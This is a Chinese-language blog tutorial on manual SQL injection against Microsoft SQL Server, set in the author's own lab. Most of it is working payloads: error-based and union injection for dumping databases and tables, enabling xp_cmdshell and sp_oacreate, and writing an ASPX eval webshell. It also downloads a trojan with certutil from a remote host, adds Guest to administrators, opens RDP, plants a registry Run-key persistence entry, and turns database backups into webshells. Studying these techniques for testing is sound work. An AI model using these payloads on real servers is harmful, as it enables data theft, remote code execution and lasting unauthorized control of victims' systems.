前言:
说起sql注入环境,网上流行的一些漏洞靶场基本上都是基于Mysql+Apache搭建的,所以我对mysql的手注及提权多多少少有一定的了解,但对mssql还很陌生,为了避免过度依赖sqlmap一把梭的尴尬局面,于是有了这篇文章。
环境介绍:
搭建环境:win7 + SQL Server 2008 R2 + IIS7.5
win7开放1433端口
sql server 2008 r2下载及搭建过程参考:Win7安装sqlserver2008r2教程
苦于找不到漏洞环境,只好找公开的NET源码下载。
.NET源码下载地址:.NET源码 - 下载列表 - 源码之家
ISAPI和CGI限制都设置为允许:
部分配置参考:
注入漏洞发现:
搭建过程总是磕磕绊绊的,环境搭建好以后,使用xray联动awvs快速发现漏洞:
这里直接放出结果:
随便找一处注入点用sqlmap一把梭瞅瞅:
基本齐活了,作为手注漏洞环境挺好的
基础知识:
Mssql的系统自带库:master
在每个网站中,一般一个网站不会跨库,而在MSSQL中每个库都有一个系统自带表:sysobjects
此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表。
Sysobjects是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而xtype代表对象的类型。
常见的类型有:
类型简称 | 含义 |
---|---|
U | 表(用户定义类型) |
V | 视图 |
P | 存储过程 |
X | 拓展存储过程 |
mssql常用参数:
当前数据库版本:@@version
有关服务器主机的信息:@@servername
当前数据库名称:db_name()
当前用户:user
数据库权限:IS_SRVROLEMEMBER()
手注过程:
报错注入:
判断是否是Mssql数据库:
id=1 and (select count(*) from sysobjects)>0
id=1 and exists(select * from sysobjects)
使用了上面这条语句说明它权限还有点大,还有可能是 sa 权限,因为可以读取任意表
判断权限:
id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))-- //sa
id=1 and 1=(select IS_MEMBER('db_owner'))=1-- // dbo
id=1 and 1=(select IS_MEMBER('public'))=1-- //public
mssql权限划分:
sysadmin:可以执行所有操作,包括数据库操作,文件管理,命令执行,注册表读取等
db_owner:可以执行数据库操作,包括文件管理、数据库操作等
public:只能执行查询操作
本地测试页面返回正常,说明它是 sa 权限
查看当前数据库版本:
id=1 and 1=(select @@version)
id=@@version
id=1 and 1=(convert(int,@@version))
id=convert(int,@@version)
通过这个例子了解报错注入的原理:
and 1 是int类型,后面的(select @@version) 是字符类型,不相等,就会报错从而爆出相关信息
而原本访问网站 id=1 查询的是数字类型int,而我们查询的是字符类型,所以他从字符类型转换为int类型失败就导致网站报错从而泄露网站的数据库版本信息
查看当前数据库名称:
id=1 and 1=(select db_name())
id=db_name()
convert函数利用原理:
对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。
获取第一个用户数据库的名称:
id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)
语句解析:
top 1 是一个SQL查询的子句,它用于查询结果只显示首条记录
对于 master..sysdatabases 这个意思是这样的:在mssql系统默认数据库master 的系统视图里
从图中可以看到,前面4个id号是默认mssql数据库自带的,实际上 ReportServer 和 ReportServerTempDB 也是安装过程中自带的数据库,真正手动创建的数据库为后面三个,以搭建环境为基准的话,这里第7个才是用户所创建的第一个数据库,以此类推!
获取所有数据库的名字:
# for xml path:将查询结果集以XML形式展现
id=1 and 1=(select name from master..sysdatabases for xml path)
获取当前网站数据库所使用的第一个表名:
id=1 and 1=(select top 1 name from sysobjects where xtype='u')
id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name != '') # 获取第二个表名,以此类推
id=CONVERT(int,(select top 1 table_name from information_schema.columns)) # 获取当前数据库的表名
爆出所有表名:
id=1 and 1=(select name from sysobjects for xml path)
本地复现失败,可能是表太多了,数据传输量过大被截断了?(盲猜)
获取列名:
我们知道了第一个表名为:Portal_Announcementscat
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat'))
# 506F7274616C5F416E6E6F756E63656D656E7473636174 为表名 Portal_Announcementscat 的 hex值
id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174 as varchar)))
获取到第一个列名为:catid,参照数据库信息进行比对:
获取下一个列名:
id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='Portal_Announcementscat') and name !='catid')
id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x506F7274616C5F416E6E6F756E63656D656E7473636174 as varchar) and COLUMN_NAME != 'catid'))
获取数据:
id=1 and 1=(select top 1 catname from Portal_Announcementscat)
id=convert(int,(select top 1 catname from Portal_Announcementscat))
获取下一条数据:
id=1 and 1=(select top 1 catname from Portal_Announcementscat where catname != '本地通告')
id=convert(int,(select top 1 catname from Portal_Announcementscat where catname !='本地通告'))
联合注入:
判断字段长度:
id=1 order by 8--
上面得到数据列数为8,寻找字符型显示位:
id=0 union all select null,null,null,null,null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段
使用的 null 是说明它无关是字符型还是数字型
现在,我们需要将依次每一个数据列转换为@@version或者db_name(),寻找字符型显示位:
id=0 union all select @@version,null,null,null,null,null,null,null
id=0 union all select null,@@version,null,null,null,null,null,null # 以此类推
注意:这里其实填啥都可以,不一定得是@@version诸如此类的,只要是字符型数据都行:
获取表名信息:
id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u'),null,null,null,null,null,null,null
id=0 union all select (select top 1 table_name from information_schema.columns),null,null,null,null,null,null,null
# 获取之后的表名,以此类推
id=0 union all select (select top 1 name from dbo.sysobjects where xtype='u' and name not in ('Portal_Announcementscat')),null,null,null,null,null,null,null
获取列名信息:
# 1 代表的是查询第一个列名
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),1) from sysobjects),null,null,null,null,null,null,null
# 获取第i列名信息
id=0 union all select (select top 1 col_name(object_id('Portal_Announcementscat'),{i}) from sysobjects),null,null,null,null,null,null,null
获取数据信息:
id=0 union all select catname,null,null,null,null,null,null,null from Portal_Announcementscat
xp_cmdshell执行命令:
我们刚才知道了网站的权限是 sa 权限,那么我们就可以干很多事,包括执行系统命令等等
xp_cmdshell:SQL中运行系统命令行的系统存储过程,一般在安全级别较高的服务器权限上。也就是它开启的话我们就可以执行系统命令!
判断xp_cmdshell是否存在:
id=1 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
页面返回正常,说明xp_cmdshell存在。
如果拓展被删除,执行以下语句恢复:
id=1;exec sp_dropextendedproc 'xp_cmdshell'
上面这条语句在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,然后执行如下查询:
id=1;exec sp_dropextendedproc ‘xp_cmdshell’ ,’xplog70.dll’
该语句是利用系统中默认的“xplog70.dll”文件,自动恢复xp_cmdshell
如果恢复不成功,说明该文件被改名或删除,可以上传一个“xplog70.dll”文件,自定义路径进行恢复。例如,执行如下查询语句:
id=1;exec sp_dropextendedproc ‘xp_cmdshell’,’c:\xplog70.dll’
xp_cmdshell默认在mssql_2000中是开启的,在mssql_2005之后的版本中则默认禁止。
如果用户拥有管理员sa权限则可以用sp_configure重新开启它
本地环境为sql server 2008,可以看到默认情况下是禁止的:
这里既然是sa用户,直接通过注入环境开启 xp_cmdshell:
id=1 ;exec sp_configure 'show advanced options', 1;reconfigure;--
id=1 ;exec sp_configure 'xp_cmdshell',1;reconfigure;--
# 关闭 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
尝试通过xp_cmdshell执行系统命令:
id=1 ;exec master..xp_cmdshell "ping 1yi53x.dnslog.cn"--
id=1 ;exec xp_cmdshell "ping 1yi53x.dnslog.cn"--
通过dnslog可以看到系统命令成功执行
关于xp_cmdshell的利用方式很多,比如添加管理员用户,写入一句话到网站根目录,反弹shell等等
查找网站根目录:
利用前提:
1、目标网站注入支持堆叠注入
2、当前权限是SA权限
3、使用sqlmap的 –os-shell 无法获取到权限
思路:通过先找到目标网站的一个文件,然后通过遍历目标服务器的磁盘,找到该文件,将其路径写入自建的表中,然后再读取该表得到网站绝对路径
假设我们已经知道目标网站下有一个ceshi.txt文件
# 创建表hack,并添加一个tmp的字段
id=1;create table hack (tmp varchar(1000));--
# 查找目标机器C盘下的test.txt路径,并将结果写入刚刚创建的hack表的tmp字段
id=1;insert into hack(tmp) exec master..xp_cmdshell 'for /r c:\ %i in (ceshi*.txt) do @echo %i';--
#或者
id=1;insert into hack(tmp) exec master..xp_cmdshell 'dir /s /b c:\ceshi.txt';--
读取数据,得到目标网站绝对路径为:
将一句话木马写入目标网站根目录,并命名为nothinks.aspx
注意:要把所有的<、>前面加一个^号
id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> > D:\aspx\oa\nothinks.aspx';--
# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
使用 certutil 远程下载木马文件:
id=1;exec master..xp_cmdshell 'certutil -urlcache -split -f http://x.x.x.x/shell.php C:\phpstudy\www\shell2.php';--
SA权限使用sp_oacreate执行系统命令:
使用下面命令查看是否可使用 sp_oacreate 执行系统命令:
id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'--
可以看到默认情况下禁止访问
如果SQLServer 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用以下命令打开
id=1;EXEC sp_configure 'show advanced options', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--
id=1;EXEC sp_configure 'Ole Automation Procedures', 1;--
id=1;RECONFIGURE WITH OVERRIDE;--
再次执行命令,通过dnslog判断是否执行成功:
id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'ping ffk9ba.dnslog.cn'--
这时调用命令创建用户:
id=1;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user book4yi password@ /add'--
xp_regwrite操作注册表与开启沙盒模式:
在sa权限下可以调用xp_regwrite写入注册表,查询语句如下:
id=1;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run',
'black','REG_SZ','net user book4yi 123456 /add'
写入注册表启动项,系统启动后就会执行"net user book4yi 123456 /add"命令,从而在服务器上添加一个book4yi账户
使用沙盒进行提权详情参考:
https://blog.51cto.com/11797152/2411770
https://www.jianshu.com/p/088c0705f7f9
其他存储过程补充:
常见的危险存储过程如下表:
存储过程 | 说明 |
---|---|
sp_addlogin | 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表 |
xp_regread | 读取注册表 |
xp_regwrite | 写入注册表 |
xp_redeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
xp_readerrorlog | 读取SQLServer的错误日志; |
xp_snmp_getstate | 获取snmp状态信息; |
xp_sprintf | 格式化数据; |
xp_sqlinventory | 查询SQLServer清单; |
xp_sqlregister | 对注册表的读取和编辑; |
xp_sqltrace | SQL跟踪记录; |
xp_servicecontrol | 服务管理控制,该存储过程允许用户启动、停止、暂停或运行服务; |
xp_sscanf | 从字符串中读取数据数据到每个格式参数给出的参数位置; |
xp_availablemedia | 该存储过程可以查看系统上可用的磁盘驱动器的空间信息; |
xp_subdirs | 通过xp_dirtree,xp_subdirs将在一个给定的文件夹中显示所有子文件夹; |
DB_owner权限LOG备份Getshell:
SQLServer常见的备份策略:
每周一次完整备份
每天一次差异备份
每小时一次事务日志备份
利用前提:
1、目标机器存在数据库备份文件 ,也就是如下,我们利用test数据库的话,则需要该test数据库存在数据库备份文件
2、知道网站的绝对路径
3、该注入支持堆叠注入
alter database oa set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log oa to disk= 'D:\aspx\oa\book4yi.aspx' with init; #备份表到指定路径
insert into cmd (a) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E); #插入一句话到cmd表里
backup log oa to disk='D:\aspx\oa\book4yi-2.aspx'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
语句成功执行以后,会在目标网站根目录下生成book4yi.aspx和book4yi-2.aspx文件,其中book4yi.aspx 保存数据库,book4yi-2.aspx就是我们需要连接的木马文件
之后用蚁剑成功连接!
查看当前用户权限:
DB_owner权限差异备份Getshell
create table [dbo].[book4yi] ([cmd] [image])
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x786965 backup log @a to disk = @s with init,no_truncate
insert into [book4yi](cmd) values(0x3C25402050616765204C616E67756167653D224A73637269707422253E3C256576616C28526571756573742E4974656D5B2263686F70706572225D2C22756E7361666522293B253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x44003a005c0061007300700078005c006f0061005c007900650073006f006b002e006100730070007800 backup log @a to disk=@s with init,no_truncate
Drop table [book4yi]
1)id=1;backup database 库名 to disk = 'c:\bak.bak' ;--
或者
id=1;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.bak backup database @a to disk=@s-- //0x备份的数据库名转换成16位进制,db_name()里面可以加数字备份不同的数据库
2)id=1;create table 数据库名..表名(a image)-- //建立表,加字段
3)id=1;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中,注意16进制
4)id=1;backup database 库名 to disk = 'c:\shell.asp' with differential , format ;-- //进行差异备份
或者
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- //备份到路径\xx.asp,前提是已得知路径,注意转换为16进制,假如备份的路径为c:\webroot\panda.asp ,访问查看是否备份getshell成功
5)id=1;Drop table 数据库..表名-- //备份完getshell过后删除表
本地测试的时候,写入倒是成功了,但是写入了四条语句导致无法连接
其他语言没测试,等待有缘人帮助
更多用法请参考:mssql注入经常使用的命令
更多思路拓展请参考:
渗透经验分享之SQL注入思路拓展
MSSQL注入常用SQL语句整理
参考如下:
史上最详细的sqlServer手工注入详解
Microsoft SQL Server手注之报错注入
Microsoft SQL Server手注之联合查询注入
SQLServer数据库注入详解
网友评论